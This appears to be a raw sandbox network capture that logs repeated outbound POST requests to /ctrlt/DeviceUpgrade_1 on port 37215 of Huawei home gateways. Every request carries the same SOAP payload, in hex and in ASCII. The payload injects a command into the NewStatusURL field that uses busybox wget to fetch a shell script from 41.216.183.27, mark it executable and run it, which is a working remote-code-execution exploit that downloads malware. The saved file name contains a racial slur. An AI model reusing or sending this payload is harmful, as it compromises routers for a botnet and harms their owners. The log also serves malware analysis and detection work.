Feb 19, 2024 18:37:02.818078041 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:05.186186075 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:09.793941975 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:18.753774881 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:37.953111887 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:14.816093922 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.15	52544	31.136.162.200	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:01.126364946 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:01.698087931 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:02.818041086 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
